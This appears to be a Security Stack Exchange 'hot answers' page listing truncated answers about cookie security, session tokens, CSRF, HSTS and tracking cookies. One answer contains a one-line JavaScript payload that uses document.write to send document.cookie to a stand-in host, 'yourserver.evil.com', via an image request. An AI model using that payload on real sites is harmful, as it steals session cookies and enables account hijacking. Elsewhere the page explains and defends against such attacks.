Hot answers tagged

119

Technically, browsers do not have to ask the user a question in order to use cookies. Furthermore, they are not technically bound to the answer given by the user. Legally, that is another matter. In the European Union, the websites are now required to ask the user for their consent before using tracking cookies or other means to collect personal data about ...


109

In Session-based Authentication the Server does all the heavy lifting server-side. Broadly speaking a client authenticates with its credentials and receives a session_id (which can be stored in a cookie) and attaches this to every subsequent outgoing request. So this could be considered a "token" as it is the equivalent of a set of credentials. There is ...


108

It increases dialog box fatigue. By overflowing the user with mundane dialog boxes, they are more likely to get into the habit of just clicking OK to remove the dialog box from their screen. This increases the risk of a user clicking OK on some important security decision presented in a dialog window.


92

You can put any text strings into a cookie, so in theory you could put some kind of code there. But for code to do any harm something needs to run it. The web browser does not interpret the content of cookies as code and does not try to run it, so cookies should not be dangerous. (If you have heard cookies being referenced in security related discussions, it ...


79

A malicious website could harm you without you having to click on anything. However, the fact that the user clicked on a page element simplifies the task: for example, most browsers would automatically block unsolicited popus (which can e.g. trick users into installing malware), but allow a popup in response to a click. And yes, in my opinion, a ...


79

Can I just log out by wiping cookies instead of hitting logout? Frequently yes, for the reasons you supplied in your question: Without the session token in your cookies, a typical web application won't know who you are. What are the issues of just wiping cookies versus clicking the logout button? Web applications that manage authentication following the ...


75

Is passing the session id as url parameter really insecure? While it's not inherently insecure, it can be a problem unless the code is very well-designed. Let's say I visit my favorite forum. It logs me in and appends my session ID to the URL in every request. I find a particularly interesting topic, and copy & paste the URL into an instant message ...


64

When you use an "authentication token", the simple presentation of that token by the client grants access (as long as the token is deemed valid by the server). If you store the tokens "as is" in your server's database, then an attacker who could get a glimpse at your database will immediately learn all the tokens, allowing him to send requests in the name of ...


57

Any script included into a page can read all cookies for which the httpOnly attribute is not set. Access restrictions for scripts are not determined based on the domain the script was loaded from but only in which page it is loaded into. This means all scripts loaded into a page have the same access and control over this page, no matter what the origin of ...


55

Yes, if you can guess another user's session key then you can become them. This is why you need to have a unpredictable session key that can be revoked. There have been cases where best practice haven't been followed, for example Moonpig produced an API which used a session key that was the user's ID which is set on account creation as a consecutive number....


55

Technically, even if the contents in the cookie were to be encrypted, if cookies are properly copied to the new browser and the new browser sends the same HTTP headers (same user agent string, referrer is as expected, computer has same IP address, and all other headers the server could have previously stored and and compare against), the server theoretically ...


53

The author of that JS library seems to have made a common, yet mistaken, assumption, though based on just enough knowledge to get things wrong. You can't just sprinkle magik crypto faerie dust and expect to get more security, like chocolate chips. What the author is missing is that once you sign the session id, and put that in the cookie - the signed ...


53

As joe says, there is no real security benefit to this. It is pure security theater. I'd like to highlight this from the documentation: If you enable this and need to send the value of the CSRF token with an AJAX request, your JavaScript must pull the value from a hidden CSRF token form input on the page instead of from the cookie. The purpose of the ...


42

Summary. Yes, this is possible. It's not a browser bug. It is part of the as-designed functionality of cookies. There is no browser that is safe from this. Cookies are ancient technology and their security model is only loosely-integrated with the rest of the web. The details are messy and ugly. The gory details The site blog.example.com can set ...


41

Yes it is possible, and this technique is widely used. It does have some minor drawbacks compared to stateful sessions: It does not support strong logout. If a user clicks logout, the cookie is cleared from their browser. However, if an attacker has captured the cookie, they can continue to use it until the cookie expires. The use of a server-side secret ...


40

Yes, you should still mark your cookies as secure, for three reasons: You dont want them to be exposed just because of a server configuration mishap. What if you move your application to a server with a different configuration? HSTS is trust on first use. If your HSTS has expired but your cookies has not, the browser may send them unencrypted. Whether or ...


38

Yep this is defended against using the same origin policy, which generally prevents one site reading anothers cookies. When you see behaviour where adverts seem to know where you've been it's likely due to 3rd party ad tracking cookies. So as a simplified example if you go to site A which uses an ad network, that ad network can record that you were on that ...


35

There are two reasons to ask if your password is being encrypted: You are worried about the security of the site. You are worried about the security of your password. Regarding site security, with no HTTPS, there is effectively none. You should consider every communication with the site as public and assume that an attacker can pretend to be you. Just use ...


35

I don't know of any technical security impact relating to not adhering to EU cookie laws. Ultimately I think this is mostly down to the discretion of the assessor and the context of the assessment. Privacy issues are security-adjacent and come with similar PR impacts, and may even be judged to infringe upon the rights of the individual, so I think in some ...


34

"Replay attacks" don't really apply to cookies, because a cookie is by definition something which is meant to be replayed: the user's browser sends back the same cookie value, and that is how your server knows that it is the same user. What you want to avoid is someone spying on the line, observing the cookie value, and then sending the same cookie on his ...


32

The contents of a cookie are application-defined, and there are all sorts of ways to use them. Here is a short list of some of the possible reasons why your effort failed. The cookie is bound to the IP address, device fingerprint, or other non-cookie data that you didn't capture. The original cookie contains an expiration and it has passed. The cookie is ...


31

If you're concerned about trackers, you're probably looking for First Party Isolation. First Party Isolation is a feature that Firefox adopted from the Tor browser's Cross-Origin Identifier Unlinkability concept. FPI works by linking all cookies to the first-party domain (the one in the URL bar), making third-party cookies distinct between different domains....


30

Yes, this does look like a pretty good scheme for protecting cookies. Another more recent scheme in this area is SCS: Secure Cookie Sessions for HTTP, which is a solid scheme, very well thought-out. I recommend reading the security discussion of that document to get a good sense of what the security threats may be. To help understand the purpose and role ...


29

If you visit HTTPS sites and get redirected without any warnings then the problem is that your browser doesn't correctly validate certificates - a good browser would display a warning as the captive portal's certificate does not contain the domain you wanted to visit in its common name field. A possible vulnerability would be if you visit the site over HTTP,...


29

I've heard that cookies is less secure than the session. You must have misinterpreted something. In fact HTTP sessions are usually implemented using cookies. I'm thinking that if I could get &^*Y()UIH|>Guho976879, I can still forge the cookie, right? Sure you can change the cookie, but will it be accepted by the server as valid? If you take an ...


28

This is relevant but doesn't necessarily answer 100% of your question: https://security.stackexchange.com/a/166798/149676 The short of it is that as long as authentication isn't automatic (typically provided by the browser) then you don't have to worry about CSRF protection. If your application is attaching the credentials via an Authorization header then ...


27

Cookies have, historically, been a source of numerous security and privacy concerns. For example, tracker cookies can be used to identify which websites you've visited and what activities you've done on them: Site A includes hidden iframe that points at a tracker service. Tracker service issues a cookie that identifies you, and logs your visit. Site B ...


26

If you have full control of the JavaScript getting written to the page then you could just do document.write('cookie: ' + document.cookie) If you want it sent to another server, you could include it in a non-existent image: document.write('<img src="https://yourserver.evil.com/collect.gif?cookie=' + document.cookie + '" />') The key here being ...


26

Yes. It can. Session information is stored in server side (except the session token) while cookies in the other way are stored in the client side (browser). So the attacker might change the session token to hijack a session. The attack is commonly known as session hijacking through cookie manipulation. But the attacker must use a valid session token which ...


Only top voted, non community-wiki answers of a minimum length are eligible